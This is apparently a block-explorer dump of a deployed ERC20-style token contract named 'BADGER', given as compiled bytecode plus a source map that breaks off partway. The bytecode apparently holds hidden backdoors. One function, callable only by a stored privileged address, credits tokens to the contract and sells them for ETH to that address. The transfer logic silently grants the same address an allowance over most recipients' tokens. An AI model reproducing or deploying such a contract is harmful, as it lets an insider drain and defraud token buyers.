00081526004016105449061193d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4241444745520000000000000000000000000000000000000000000000000000815250905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c3575f80fd5b6106cd308261146c565b5f600267ffffffffffffffff8111156106e9576106e861195b565b5b6040519080825280602002602001820160405280156107175781602001602082028036833780820191505090505b50905030815f8151811061072e5761072d611988565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f691906119c9565b8160018151811061080a57610809611988565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f61084e30610492565b905061087c3060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610e1e565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5825f85600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166014426108eb9190611a21565b6040518663ffffffff1660e01b815260040161090b959493929190611b9f565b5f604051808303815f87803b158015610922575f80fd5b505af1158015610934573d5f803e3d5ffd5b5050505050505050565b5f61094a338484610fe1565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610973610607565b73ffffffffffffffffffffffffffffffffffffffff16146109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c09061193d565b60405180910390fd5b600460019054906101000a900460ff16156109e2575f80fd5b610a103060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e1e565b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9f91906119c9565b905060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2f91906119c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610b69929190611bf7565b6020604051808303815f875af1158015610b85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ba991906119c9565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c3030610492565b5f80610c3a610607565b426040518863ffffffff1660e01b8152600401610c5c96959493929190611c1e565b60606040518083038185885af1158015610c78573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c9d9190611c91565b505050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d3d929190611ce1565b6020604051808303815f875af1158015610d59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7d9190611d32565b506001600460016101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8390611dcd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611e5b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd491906117c5565b60405180910390a3505050565b5f8111611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90611ee9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108890611f51565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f690611fb9565b60405180910390fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156111a95750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111e157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112975760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561126f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112965760065f81548092919061128690611fd7565b919050555061129582826114c3565b5b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112f491906117c5565b60405180910390a361134c8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142390919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113dd8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461156590919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f61146483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c2565b905092915050565b8060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114b89190611a21565b925050819055505050565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f8082846115739190611a21565b9050838110156115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115af90612068565b60405180910390fd5b8091505092915050565b5f838311158290611609576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116009190611694565b60405180910390fd5b505f83856116179190612086565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61166682611624565b611670818561162e565b935061168081856020860161163e565b6116898161164c565b840191505092915050565b5f6020820190508181035f8301526116ac818461165c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116e1826116b8565b9050919050565b6116f1816116d7565b81146116fb575f80fd5b50565b5f8135905061170c816116e8565b92915050565b5f819050919050565b61172481611712565b811461172e575f80fd5b50565b5f8135905061173f8161171b565b92915050565b5f806040838503121561175b5761175a6116b4565b5b5f611768858286016116fe565b925050602061177985828601611731565b9150509250929050565b5f8115159050919050565b61179781611783565b82525050565b5f6020820190506117b05f83018461178e565b92915050565b6117bf81611712565b82525050565b5f6020820190506117d85f8301846117b6565b92915050565b5f805f606084860312156117f5576117f46116b4565b5b5f611802868287016116fe565b9350506020611813868287016116fe565b925050604061182486828701611731565b9150509250925092565b5f60ff82169050919050565b6118438161182e565b82525050565b5f60208201905061185c5f83018461183a565b92915050565b61186b816116d7565b82525050565b5f6020820190506118845f830184611862565b92915050565b5f6020828403121561189f5761189e6116b4565b5b5f6118ac848285016116fe565b91505092915050565b5f80604083850312156118cb576118ca6116b4565b5b5f6118d8858286016116fe565b92505060206118e9858286016116fe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61192760208361162e565b9150611932826118f3565b602082019050919050565b5f6020820190508181035f8301526119548161191b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506119c3816116e8565b92915050565b5f602082840312156119de576119dd6116b4565b5b5f6119eb848285016119b5565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a2b82611712565b9150611a3683611712565b9250828201905080821115611a4e57611a4d6119f4565b5b92915050565b5f819050919050565b5f819050919050565b5f611a80611a7b611a7684611a54565b611a5d565b611712565b9050919050565b611a9081611a66565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ac8816116d7565b82525050565b5f611ad98383611abf565b60208301905092915050565b5f602082019050919050565b5f611afb82611a96565b611b058185611aa0565b9350611b1083611ab0565b805f5b83811015611b40578151611b278882611ace565b9750611b3283611ae5565b925050600181019050611b13565b5085935050505092915050565b5f611b67611b62611b5d846116b8565b611a5d565b6116b8565b9050919050565b5f611b7882611b4d565b9050919050565b5f611b8982611b6e565b9050919050565b611b9981611b7f565b82525050565b5f60a082019050611bb25f8301886117b6565b611bbf6020830187611a87565b8181036040830152611bd18186611af1565b9050611be06060830185611b90565b611bed60808301846117b6565b9695505050505050565b5f604082019050611c0a5f830185611862565b611c176020830184611862565b9392505050565b5f60c082019050611c315f830189611862565b611c3e60208301886117b6565b611c4b6040830187611a87565b611c586060830186611a87565b611c656080830185611862565b611c7260a08301846117b6565b979650505050505050565b5f81519050611c8b8161171b565b92915050565b5f805f60608486031215611ca857611ca76116b4565b5b5f611cb586828701611c7d565b9350506020611cc686828701611c7d565b9250506040611cd786828701611c7d565b9150509250925092565b5f604082019050611cf45f830185611862565b611d0160208301846117b6565b9392505050565b611d1181611783565b8114611d1b575f80fd5b50565b5f81519050611d2c81611d08565b92915050565b5f60208284031215611d4757611d466116b4565b5b5f611d5484828501611d1e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611db760248361162e565b9150611dc282611d5d565b604082019050919050565b5f6020820190508181035f830152611de481611dab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e4560228361162e565b9150611e5082611deb565b604082019050919050565b5f6020820190508181035f830152611e7281611e39565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611ed3602a8361162e565b9150611ede82611e79565b604082019050919050565b5f6020820190508181035f830152611f0081611ec7565b9050919050565b7f5472616e7366657220746f207a65726f20616464726573732e000000000000005f82015250565b5f611f3b60198361162e565b9150611f4682611f07565b602082019050919050565b5f6020820190508181035f830152611f6881611f2f565b9050919050565b7f5472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f611fa3601b8361162e565b9150611fae82611f6f565b602082019050919050565b5f6020820190508181035f830152611fd081611f97565b9050919050565b5f611fe182611712565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612013576120126119f4565b5b600182019050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612052601b8361162e565b915061205d8261201e565b602082019050919050565b5f6020820190508181035f83015261207f81612046565b9050919050565b5f61209082611712565b915061209b83611712565b92508282039050818111156120b3576120b26119f4565b5b9291505056fea2646970667358221220a0ffda8507d978d7cd0fc4a62ee19c1c9c2687048a6527d3e3cc67fed354bf1864736f6c634300081a0033

Deployed Bytecode Sourcemap

3444:4821:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4706:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5586:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4607:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6582:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4915:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4330:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4797:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1330:140;;;;;;;;;;;;;:::i;:::-;;934:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5006;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7128:563;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6846:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7699:561;;;:::i;:::-;;5444:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4706:83;4743:13;4776:5;;;;;;;;;;;;;;;;;4769:12;;4706:83;:::o;5586:150::-;5652:4;5669:37;5678:10;5690:7;5699:6;5669:8;:37::i;:::-;5724:4;5717:11;;5586:150;;;;:::o;4607:91::-;4651:7;4678:12;;4671:19;;4607:91;:::o;6582:256::-;6671:4;6688:36;6698:6;6706:9;6717:6;6688:9;:36::i;:::-;6735:73;6744:6;6752:10;6764:43;6800:6;6764:11;:19;6776:6;6764:19;;;;;;;;;;;;;;;:31;6784:10;6764:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;6735:8;:73::i;:::-;6826:4;6819:11;;6582:256;;;;;:::o;4915:83::-;4956:5;4981:9;;;;;;;;;;;4974:16;;4915:83;:::o;4330:28::-;;;;;;;;;;;;;:::o;4797:110::-;4854:7;4881:9;:18;4891:7;4881:18;;;;;;;;;;;;;;;;4874:25;;4797:110;;;:::o;1330:140::-;1226:10;1215:21;;:7;:5;:7::i;:::-;:21;;;1207:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1429:1:::1;1392:40;;1413:6;::::0;::::1;;;;;;;;1392:40;;;;;;;;;;;;1460:1;1443:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1330:140::o:0;934:87::-;980:7;1007:6;;;;;;;;;;;1000:13;;934:87;:::o;5006:::-;5045:13;5078:7;;;;;;;;;;;;;;;;;5071:14;;5006:87;:::o;7128:563::-;7225:9;;;;;;;;;;;7211:23;;:10;:23;;;7203:32;;;;;;7246:33;7264:4;7271:7;7246:9;:33::i;:::-;7290:21;7328:1;7314:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7290:40;;7359:4;7341;7346:1;7341:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7386:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7375:4;7380:1;7375:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;7419:19;7441:24;7459:4;7441:9;:24::i;:::-;7419:46;;7476:62;7493:4;7508:15;;;;;;;;;;;7526:11;7476:8;:62::i;:::-;7549:15;;;;;;;;;;;:37;;;7601:11;7614:1;7631:4;7637:9;;;;;;;;;;;7680:2;7662:15;:20;;;;:::i;:::-;7549:134;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7192:499;;7128:563;;:::o;6846:156::-;6915:4;6932:40;6942:10;6954:9;6965:6;6932:9;:40::i;:::-;6990:4;6983:11;;6846:156;;;;:::o;7699:561::-;1226:10;1215:21;;:7;:5;:7::i;:::-;:21;;;1207:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;7769:11:::1;;;;;;;;;;;7768:12;7760:21;;;::::0;::::1;;7792:63;7809:4;7824:15;;;;;;;;;;;7842:12;;7792:8;:63::i;:::-;7866:12;7881:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7866:37;;7948:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7930:56;;;7995:4;8002;7930:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7914:13;;:93;;;;;;;;;;;;;;;;;;8018:15;;;;;;;;;;;:31;;;8057:9;8077:4;8084:24;8102:4;8084:9;:24::i;:::-;8110:1;8113::::0;8116:7:::1;:5;:7::i;:::-;8125:15;8018:123;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8159:13;;;;;;;;;;;8152:29;;;8190:15;;;;;;;;;;;8208:14;8152:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8248:4;8234:11;;:18;;;;;;;;;;;;;;;;;;7749:511;7699:561::o:0;5444:134::-;5516:7;5543:11;:18;5555:5;5543:18;;;;;;;;;;;;;;;:27;5562:7;5543:27;;;;;;;;;;;;;;;;5536:34;;5444:134;;;;:::o;5101:335::-;5211:1;5194:19;;:5;:19;;;5186:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5292:1;5273:21;;:7;:21;;;5265:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5374:6;5344:11;:18;5356:5;5344:18;;;;;;;;;;;;;;;:27;5363:7;5344:27;;;;;;;;;;;;;;;:36;;;;5412:7;5396:32;;5405:5;5396:32;;;5421:6;5396:32;;;;;;:::i;:::-;;;;;;;;5101:335;;;:::o;5744:695::-;5841:1;5832:6;:10;5824:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;5922:1;5908:16;;:2;:16;;;5900:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;5989:1;5973:18;;:4;:18;;;5965:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;6052:15;;;;;;;;;;;6038:30;;:2;:30;;;;:53;;;;;6078:13;;;;;;;;;;;6072:19;;:2;:19;;;;6038:53;:76;;;;;6109:4;6095:19;;:2;:19;;;;6038:76;6034:248;;;6144:15;;;;;;;;;;;6130:30;;:2;:30;;;;:53;;;;;6178:4;6164:19;;:2;:19;;;;6130:53;6126:145;;;6200:9;;:12;;;;;;;;;:::i;:::-;;;;;;6227:28;6244:2;6248:6;6227:16;:28::i;:::-;6126:145;6034:248;6312:2;6297:26;;6306:4;6297:26;;;6316:6;6297:26;;;;;;:::i;:::-;;;;;;;;6352:27;6372:6;6352:9;:15;6362:4;6352:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6334:9;:15;6344:4;6334:15;;;;;;;;;;;;;;;:45;;;;6406:25;6424:6;6406:9;:13;6416:2;6406:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;6390:9;:13;6400:2;6390:13;;;;;;;;;;;;;;;:41;;;;5744:695;;;:::o;1499:136::-;1557:7;1584:43;1588:1;1591;1584:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1577:50;;1499:136;;;;:::o;7010:109::-;7105:6;7077:9;:24;7095:4;7077:24;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;7010:109;;:::o;6447:127::-;6555:11;6526;:15;6538:2;6526:15;;;;;;;;;;;;;;;:26;6542:9;;;;;;;;;;;6526:26;;;;;;;;;;;;;;;:40;;;;6447:127;;:::o;2031:179::-;2089:7;2109:9;2125:1;2121;:5;;;;:::i;:::-;2109:17;;2150:1;2145;:6;;2137:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2201:1;2194:8;;;2031:179;;;;:::o;2216:190::-;2302:7;2335:1;2330;:6;;2338:12;2322:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2362:9;2378:1;2374;:5;;;;:::i;:::-;2362:17;;2397:1;2390:8;;;2216:190;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5098:329;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:182::-;6053:34;6049:1;6041:6;6037:14;6030:58;5913:182;:::o;6101:366::-;6243:3;6264:67;6328:2;6323:3;6264:67;:::i;:::-;6257:74;;6340:93;6429:3;6340:93;:::i;:::-;6458:2;6453:3;6449:12;6442:19;;6101:366;;;:::o;6473:419::-;6639:4;6677:2;6666:9;6662:18;6654:26;;6726:9;6720:4;6716:20;6712:1;6701:9;6697:17;6690:47;6754:131;6880:4;6754:131;:::i;:::-;6746:139;;6473:419;;;:::o;6898:180::-;6946:77;6943:1;6936:88;7043:4;7040:1;7033:15;7067:4;7064:1;7057:15;7084:180;7132:77;7129:1;7122:88;7229:4;7226:1;7219:15;7253:4;7250:1;7243:15;7270:143;7327:5;7358:6;7352:13;7343:22;;7374:33;7401:5;7374:33;:::i;:::-;7270:143;;;;:::o;7419:351::-;7489:6;7538:2;7526:9;7517:7;7513:23;7509:32;7506:119;;;7544:79;;:::i;:::-;7506:119;7664:1;7689:64;7745:7;7736:6;7725:9;7721:22;7689:64;:::i;:::-;7679:74;;7635:128;7419:351;;;;:::o;7776:180::-;7824:77;7821:1;7814:88;7921:4;7918:1;7911:15;7945:4;7942:1;7935:15;7962:191;8002:3;8021:20;8039:1;8021:20;:::i;:::-;8016:25;;8055:20;8073:1;8055:20;:::i;:::-;8050:25;;8098:1;8095;8091:9;8084:16;;8119:3;8116:1;8113:10;8110:36;;;8126:18;;:::i;:::-;8110:36;7962:191;;;;:::o;8159:85::-;8204:7;8233:5;8222:16;;8159:85;;;:::o;8250:60::-;8278:3;8299:5;8292:12;;8250:60;;;:::o;8316:158::-;8374:9;8407:61;8425:42;8434:32;8460:5;8434:32;:::i;:::-;8425:42;:::i;:::-;8407:61;:::i;:::-;8394:74;;8316:158;;;:::o;8480:147::-;8575:45;8614:5;8575:45;:::i;:::-;8570:3;8563:58;8480:147;;:::o;8633:114::-;8700:6;8734:5;8728:12;8718:22;;8633:114;;;:::o;8753:184::-;8852:11;8886:6;8881:3;8874:19;8926:4;8921:3;8917:14;8902:29;;8753:184;;;;:::o;8943:132::-;9010:4;9033:3;9025:11;;9063:4;9058:3;9054:14;9046:22;;8943:132;;;:::o;9081:108::-;9158:24;9176:5;9158:24;:::i;:::-;9153:3;9146:37;9081:108;;:::o;9195:179::-;9264:10;9285:46;9327:3;9319:6;9285:46;:::i;:::-;9363:4;9358:3;9354:14;9340:28;;9195:179;;;;:::o;9380:113::-;9450:4;9482;9477:3;9473:14;9465:22;;9380:113;;;:::o;9529:732::-;9648:3;9677:54;9725:5;9677:54;:::i;:::-;9747:86;9826:6;9821:3;9747:86;:::i;:::-;9740:93;;9857:56;9907:5;9857:56;:::i;:::-;9936:7;9967:1;9952:284;9977:6;9974:1;9971:13;9952:284;;;10053:6;10047:13;10080:63;10139:3;10124:13;10080:63;:::i;:::-;10073:70;;10166:60;10219:6;10166:60;:::i;:::-;10156:70;;10012:224;9999:1;9996;9992:9;9987:14;;9952:284;;;9956:14;10252:3;10245:10;;9653:608;;;9529:732;;;;:::o;10267:142::-;10317:9;10350:53;10368:34;10377:24;10395